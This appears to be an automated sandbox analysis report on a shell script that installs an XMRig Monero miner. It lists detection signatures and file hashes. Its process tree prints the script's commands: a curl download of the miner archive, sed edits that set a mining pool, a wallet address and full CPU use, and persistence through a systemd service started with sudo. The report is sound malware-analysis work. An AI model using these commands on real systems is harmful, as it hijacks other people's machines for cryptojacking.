Analysis

  • max time kernel
    9s
  • max time network
    132s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 12:18

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1381
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1384
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1385
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1388
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1389
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1430
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1431
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1432
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1432
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1432
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1432
                      • /usr/bin/rm
                        rm /tmp/xmrig.tar.gz
                        2⤵
                          PID:1433
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                            PID:1434
                          • /root/lampp/xmrig
                            /root/lampp/xmrig --help
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:1435
                          • /usr/bin/sed
                            sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                            2⤵
                              PID:1440
                            • /usr/bin/cut
                              cut -f1 -d.
                              2⤵
                                PID:1439
                              • /usr/bin/hostname
                                hostname
                                2⤵
                                  PID:1438
                                • /usr/bin/sed
                                  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1441
                                  • /usr/bin/sed
                                    sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                    2⤵
                                      PID:1442
                                    • /usr/bin/sed
                                      sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2004-amd64-20240508-en-14\",/" /root/lampp/config.json
                                      2⤵
                                        PID:1443
                                      • /usr/bin/sed
                                        sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                        2⤵
                                          PID:1444
                                        • /usr/bin/sed
                                          sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                          2⤵
                                          • Reads runtime system information
                                          PID:1445
                                        • /usr/bin/sed
                                          sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                          2⤵
                                          • Reads runtime system information
                                          PID:1446
                                        • /usr/bin/sed
                                          sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                          2⤵
                                            PID:1447
                                          • /usr/bin/cp
                                            cp /root/lampp/config.json /root/lampp/config_background.json
                                            2⤵
                                              PID:1448
                                            • /usr/bin/sed
                                              sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                              2⤵
                                              • Reads runtime system information
                                              PID:1449
                                            • /usr/bin/cat
                                              cat
                                              2⤵
                                                PID:1450
                                              • /usr/bin/chmod
                                                chmod +x /root/lampp/miner.sh
                                                2⤵
                                                  PID:1451
                                                • /usr/bin/sudo
                                                  sudo -n true
                                                  2⤵
                                                    PID:1452
                                                    • /usr/bin/true
                                                      true
                                                      3⤵
                                                        PID:1454
                                                    • /usr/bin/awk
                                                      awk "{print \$2}"
                                                      2⤵
                                                        PID:1457
                                                      • /usr/bin/grep
                                                        grep MemTotal /proc/meminfo
                                                        2⤵
                                                          PID:1456
                                                        • /usr/bin/cat
                                                          cat
                                                          2⤵
                                                            PID:1458
                                                          • /usr/bin/sudo
                                                            sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1459
                                                            • /usr/bin/mv
                                                              mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1460
                                                          • /usr/bin/sudo
                                                            sudo killall xmrig
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1461
                                                            • /usr/bin/killall
                                                              killall xmrig
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1462
                                                          • /usr/bin/sudo
                                                            sudo systemctl daemon-reload
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1463
                                                            • /usr/bin/systemctl
                                                              systemctl daemon-reload
                                                              3⤵
                                                              • Reads EFI boot settings
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:1464
                                                          • /usr/bin/sudo
                                                            sudo systemctl enable lampp.service
                                                            2⤵
                                                              PID:1503
                                                              • /usr/bin/systemctl
                                                                systemctl enable lampp.service
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1504
                                                            • /usr/bin/sudo
                                                              sudo systemctl start lampp.service
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:1530
                                                              • /usr/bin/systemctl
                                                                systemctl start lampp.service
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1531

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

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                                                          Downloads

                                                          • /root/lampp/config.json

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            f3294129e6b76283965ad86a815bf383

                                                            SHA1

                                                            5fe0ab538f86962efe82cb13fc2da745610740af

                                                            SHA256

                                                            578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                            SHA512

                                                            07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                          • /root/lampp/sed04ixlE

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            54b2f429bf463a3ff7757cf09644f637

                                                            SHA1

                                                            361a42153b47e29effc6950c815e44a02b910e26

                                                            SHA256

                                                            85f8b9b1710e5dc5538695cf09262d92838242d80ef07909e9f93a49bc968770

                                                            SHA512

                                                            c837c3489803dc2ab88f6acc76a293a3068143e7c20596b7cf6637dc9a708044d19444099ea215be7bfe8a5343e3c10d274bc9c48d570e9c969cd0e599098c11

                                                          • /root/lampp/sedGT6C1a

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            d489ddbbb83271e967b8af615d17d3c7

                                                            SHA1

                                                            f0394a367a60e9727269882154098dec802774ef

                                                            SHA256

                                                            5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                            SHA512

                                                            aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                          • /root/lampp/sedGwirrk

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            62bac13cdef502fc74588bac95ad33c1

                                                            SHA1

                                                            19d5cd74c3169bdd0eef0e98c7be0f5d7cea1553

                                                            SHA256

                                                            46c20f7a6d3ab45e34c64c5065db5fb0e79f31173268ddc1a0cb2c38fd136a8e

                                                            SHA512

                                                            f5eea37bac0766e2943d373077214e59f6b360fbc572fe8f2759241d220c7214c315bcae269f00623593c6bdc82dba7e6e4ac344891ea855bb3af97020796fb2

                                                          • /root/lampp/sedJ79a9g

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            8b11b027dd187104473ee7d661ffe25f

                                                            SHA1

                                                            ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                            SHA256

                                                            984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                            SHA512

                                                            1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                          • /root/lampp/sedjVmqNz

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            bfda5d484185d400c68aff22bd49bf11

                                                            SHA1

                                                            0aeecc8ea19933e5579ae0c38f7863b74e66605d

                                                            SHA256

                                                            fb4f81128e02529c83822457c1e7964555975c166221dec9598e2788c93dd418

                                                            SHA512

                                                            28b2ca3c1dac1e344ee4cb59d8015057fee4544079e1349c94450a0756bc036369152d2e7482689f85d0c17a38acb36d067f7b570528537907bb2a53a8a655e1

                                                          • /root/lampp/sedrgED4J

                                                            Filesize

                                                            2KB

                                                            MD5

                                                            b37cc81f1d6e5063a907e0bcf811b2ea

                                                            SHA1

                                                            fb90cfcaa23f87cfac14b2610ef63ffb127529f0

                                                            SHA256

                                                            417dd8b4bc04d40d5b6d24cefd91c6b1312bc93f76f1a5e7e9617b6759c27534

                                                            SHA512

                                                            06084c28a2bbb0ce5bf106d38266813a7dd4e09f6c52732b8ab0349177511c18dfa3feab0cd0cdc548f4d4a9e5a19e43c90219a311cd6c30df87b79acb7fc656

                                                          • /root/lampp/xmrig

                                                            Filesize

                                                            8.4MB

                                                            MD5

                                                            06d865c3197a6d2ec6915ad4002ad47e

                                                            SHA1

                                                            74992a2b0490f2e9c9c0fa279d50e253d92839ec

                                                            SHA256

                                                            aa5f5e371bcf281691bcb9725fab7a3e45e0fd1e34a97d011b2b4b4ab736f414

                                                            SHA512

                                                            bdddbc215d031a4cf0ab01deb8a2452629e88e8364d1c16fdaad9efb2ed87064caf7b9e0f19be40b5504be1e1620c2d8f0f0aa3d59863612e9006d8b7daf9833

                                                          • /tmp/lampp.service

                                                            Filesize

                                                            177B

                                                            MD5

                                                            540c899b78585827e807a62f7345eaf5

                                                            SHA1

                                                            8bf3146889c6b15811f226bff9fbca24d184eff2

                                                            SHA256

                                                            b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                            SHA512

                                                            0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                          • /tmp/sh-thd.3uflLR

                                                            Filesize

                                                            253B

                                                            MD5

                                                            f96a321a262287ceae164f23f232ed9c

                                                            SHA1

                                                            d1eeab41f244b42377afd7cc3de7428736162b24

                                                            SHA256

                                                            f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                            SHA512

                                                            75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                          • /tmp/xmrig.tar.gz

                                                            Filesize

                                                            3.4MB

                                                            MD5

                                                            e003a3ec8bdd61151a61cadf950502c4

                                                            SHA1

                                                            2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                            SHA256

                                                            80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                            SHA512

                                                            ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9